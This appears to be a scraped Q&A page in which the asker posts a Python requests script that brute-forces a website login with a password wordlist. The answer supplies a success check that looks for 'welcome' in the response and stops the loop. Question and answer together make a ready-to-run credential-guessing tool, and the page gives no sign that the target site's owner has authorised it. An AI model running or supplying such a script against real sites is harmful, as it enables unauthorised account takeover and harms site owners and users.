How to know when you “log in” to a website using Python's Requests module? -


im doing brute force password script requests module. how can check when have succes login in website?

url = sys.argv[1] user = sys.argv[2] file = sys.argv[3] varuser = sys.argv[4] varpass = sys.argv[5] passwords = open(file, "r").read().splitlines()  p in passwords:     payload = {varuser: user, varpass: p}     requests.post(url, data=payload) 

this depends of website. in general, can search string in text of response:

...     r = requests.post(url, data=payload)     if 'welcome' in r.text:         print('success!')         break ... 

Comments

Popular posts from this blog

html - Firefox flex bug applied to buttons? -

html - Missing border-right in select on Firefox -

python - build a suggestions list using fuzzywuzzy -